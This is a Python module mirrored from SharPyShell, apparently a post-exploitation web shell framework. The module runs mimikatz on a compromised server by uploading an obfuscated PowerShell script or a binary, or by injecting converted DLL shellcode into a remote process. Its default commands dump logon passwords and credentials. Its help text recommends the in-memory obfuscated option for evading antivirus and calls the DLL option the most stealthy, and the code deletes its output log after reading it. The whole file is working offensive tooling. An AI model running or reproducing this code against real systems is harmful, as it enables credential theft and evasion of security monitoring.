mirror of
https://github.com/antonioCoco/SharPyShell
synced 2026-06-08 13:11:44 +00:00
167 lines
9.2 KiB
Python
167 lines
9.2 KiB
Python
from core.Module import Module, ModuleException
|
|
from core import config
|
|
from modules.upload import Upload
|
|
from modules.exec_cmd import Exec_cmd
|
|
from modules.runas import Runas
|
|
from modules.invoke_ps_module import Invoke_ps_module
|
|
from modules.invoke_ps_module_as import Invoke_ps_module_as
|
|
from modules.inject_dll_srdi import Inject_dll_srdi
|
|
from utils.random_string import random_generator
|
|
import traceback
|
|
import os
|
|
|
|
|
|
class MimikatzModuleException(ModuleException):
|
|
pass
|
|
|
|
|
|
class Mimikatz(Module):
|
|
_exception_class = MimikatzModuleException
|
|
short_help = "Run an offline version of mimikatz directly in memory"
|
|
complete_help = r"""
|
|
Authors: @gentilkiwi @PowerShellMafia
|
|
Links: https://github.com/gentilkiwi/mimikatz
|
|
https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1
|
|
Credits: @phra
|
|
|
|
|
|
This module allows you to run mimikatz in a versatile way.
|
|
Within this module it is possible to run mimikatz in 3 different ways:
|
|
'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
|
|
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments;
|
|
'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process.
|
|
It is recommended to run the ps1 version because it will be obfuscated and run from memory.
|
|
The exe version will be just dropped as clear and could be catched by av scanners.
|
|
The dll version is the most stealthy but it doesn't support impersonation atm.
|
|
|
|
|
|
Usage:
|
|
#mimikatz [exec_type] [username] [password] [domain] [custom_command]
|
|
|
|
Positional arguments:
|
|
exec_type execution type for running mimikatz:
|
|
'ps1' will upload and execute the powershell version of mimikatz
|
|
'exe' will upload and execute the classic version of binary mimikatz
|
|
'dll' will inject converted dll shellcode into a remote process
|
|
Default: 'ps1'
|
|
username username of the user to runas the process
|
|
password password of the user to runas the process
|
|
domain domain of the user to runas the process
|
|
custom_command based on exec_type, the custom command could be:
|
|
- 'ps1' : powershell code to add to the ps1 mimikatz module;
|
|
- 'exe' : command line arguments to the mimikatz binary;
|
|
- 'dll' : command line arguments to be executed.
|
|
Default:
|
|
'ps1': ';Invoke-Mimikatz -DumpCreds'
|
|
'exe': 'privilege::debug sekurlsa::logonpasswords exit'
|
|
'dll': 'privilege::debug sekurlsa::logonpasswords exit'
|
|
|
|
Examples:
|
|
Run mimikatz as the current user
|
|
#mimikatz
|
|
Run mimikatz dll
|
|
#mimikatz 'dll'
|
|
Run mimikatz as a specific local user
|
|
#mimikatz 'ps1' 'user1' 'password1'
|
|
Run mimikatz as a specific domain user
|
|
#mimikatz 'ps1' 'user1' 'password1' 'domain'
|
|
Run exe version of mimikatz as the current user
|
|
#mimikatz 'exe'
|
|
Run exe version of mimikatz as a specific user
|
|
#mimikatz 'exe' 'user1' 'password1'
|
|
Run mimikatz with a custom command, i.e. dumping cert
|
|
#mimikatz 'ps1' '' '' '' ';Invoke-Mimikatz -DumpCerts'
|
|
Run mimikatz binary with a custom command, i.e. coffee :)
|
|
#mimikatz 'exe' '' '' '' 'coffee exit'
|
|
|
|
"""
|
|
|
|
__default_exec_type = 'ps1'
|
|
__default_username = ''
|
|
__default_password = ''
|
|
__default_domain = ''
|
|
__default_ps_command = ';Invoke-Mimikatz -DumpCreds'
|
|
__default_exe_command = 'privilege::debug sekurlsa::logonpasswords exit'
|
|
|
|
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
|
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
|
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
|
|
self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
|
|
self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object)
|
|
self.invoke_ps_module_object = Invoke_ps_module(password, channel_enc_mode, module_settings, request_object)
|
|
self.invoke_ps_as_module_object = Invoke_ps_module_as(password, channel_enc_mode, module_settings, request_object)
|
|
self.inject_dll_srdi_module_object = Inject_dll_srdi(password, channel_enc_mode, module_settings, request_object)
|
|
|
|
def __parse_run_args(self, args):
|
|
args_parser = {k: v for k, v in enumerate(args)}
|
|
exec_type = args_parser.get(0, self.__default_exec_type)
|
|
username = args_parser.get(1, self.__default_username)
|
|
password = args_parser.get(2, self.__default_password)
|
|
domain = args_parser.get(3, self.__default_domain)
|
|
custom_command = args_parser.get(4, self.__default_exe_command if exec_type != 'ps1' else self.__default_ps_command)
|
|
return exec_type, username, password, domain, custom_command
|
|
|
|
def __lookup_exe_binary(self):
|
|
if 'mimikatz.exe' in self._module_settings.keys():
|
|
bin_path = self._module_settings['mimikatz.exe']
|
|
else:
|
|
exe_path = config.modules_paths + 'exe_modules' + os.sep + 'mimikatz.exe'
|
|
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
|
print ('\n\n\nUploading mimikatz binary....\n')
|
|
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
|
print (upload_response)
|
|
self._module_settings['mimikatz.exe'] = remote_upload_path
|
|
bin_path = remote_upload_path
|
|
return bin_path
|
|
|
|
def __run_exe_version(self, username, password, domain, custom_command):
|
|
remote_upload_path = self.__lookup_exe_binary()
|
|
if username == '':
|
|
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
|
|
else:
|
|
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
|
|
parsed_response = self._parse_response(response)
|
|
return parsed_response
|
|
|
|
def __run_dll_version(self, username, custom_command):
|
|
dll_name = 'powerkatz.dll'
|
|
exported_function_name = 'powershell_reflective_mimikatz'
|
|
log_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
|
exported_function_data = str.encode('"log ' + log_file + '" ' + custom_command + '\x00', 'utf-16-le')
|
|
if username == '':
|
|
print ('\n\nInjecting converted DLL shellcode into remote process...')
|
|
response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
|
|
exported_function_name, exported_function_data])
|
|
response = self._parse_response(response)
|
|
response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n'
|
|
response += self._parse_response(self.exec_cmd_module_object.run(['type ' + log_file + ' & del /f /q ' + log_file]))
|
|
else:
|
|
raise self._exception_class('#mimikatz: exec_type "dll" does not support the runas function atm\n')
|
|
parsed_response = self._parse_response(response)
|
|
return parsed_response
|
|
|
|
def __run_ps_version(self, username, password, domain, custom_command):
|
|
if username == '':
|
|
response = self.invoke_ps_module_object.run(['Invoke-Mimikatz.ps1', custom_command])
|
|
else:
|
|
response = self.invoke_ps_as_module_object.run(['Invoke-Mimikatz.ps1', username, password, custom_command, domain])
|
|
parsed_response = self._parse_response(response)
|
|
return parsed_response
|
|
|
|
def run(self, args):
|
|
try:
|
|
exec_type, username, password, domain, custom_command = self.__parse_run_args(args)
|
|
if exec_type == 'exe':
|
|
response = self.__run_exe_version(username, password, domain, custom_command)
|
|
elif exec_type == 'dll':
|
|
response = self.__run_dll_version(username, custom_command)
|
|
else:
|
|
response = self.__run_ps_version(username, password, domain, custom_command)
|
|
parsed_response = self._parse_response(response)
|
|
except ModuleException as module_exc:
|
|
parsed_response = str(module_exc)
|
|
except Exception:
|
|
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
|
|
str(traceback.format_exc())
|
|
return parsed_response
|